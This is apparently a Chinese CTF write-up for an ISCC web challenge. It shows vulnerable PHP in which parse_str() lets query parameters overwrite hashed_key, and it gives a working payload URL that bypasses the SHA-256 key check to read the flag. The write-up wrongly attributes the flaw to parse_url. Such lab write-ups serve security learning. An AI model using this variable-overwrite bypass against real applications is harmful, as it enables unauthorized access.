ISCC（web)

web4
地址：

<?php 
error_reporting(0); 
include("flag.php"); 
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; 
$parsed = parse_url($_SERVER['REQUEST_URI']);     /*理解parse_url函数
if(isset($parsed["query"])){ 
    $query = $parsed["query"]; 
    $parsed_query = parse_str($query); 
    if($parsed_query!=NULL){ 
        $action = $parsed_query['action']; 
    } 

    if($action==="auth"){ 
        $key = $_GET["key"]; 
        $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 
            die("<img src='cxk.jpg'>"); 
        } 

        echo $flag;                       /*这里有flag，所以答案很有可能在这个语句中，因此要着重分析
    } 
}else{ 
    show_source(__FILE__); 
}?>

解题思路：
分析代码，
发现存在action传参，
分析 $action = $parse{d}_{q}uery{[}^{\prime }actio{n}^{\prime }]和$action===“auth”
推出来 action=auth，将action=auth传入
解题关键就在于parse_url函数，存在变量覆盖漏洞
输入的key值也会传入，只不过是经过sha256加密的

   $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 

传入一个hashed_key，将原来的密文个覆盖掉
这个参数传入的是我们传入的key经过sha256加密后的密文，如：key=1(当然key的具体值你看着给几都行）也就是说用你输入的key值经sha256加密后赋值给hashed_key传入进去，利用parse_url函数存在变量覆盖的漏洞，将原来传入的变量覆盖，从而解出答案
令key=1，使用sha256加密赋值给hashed_key：

hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

最终得出payload为:

http://39.100.83.188:8066/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

得出flag:

 flag{7he_rea1_f1@g_15_4ere}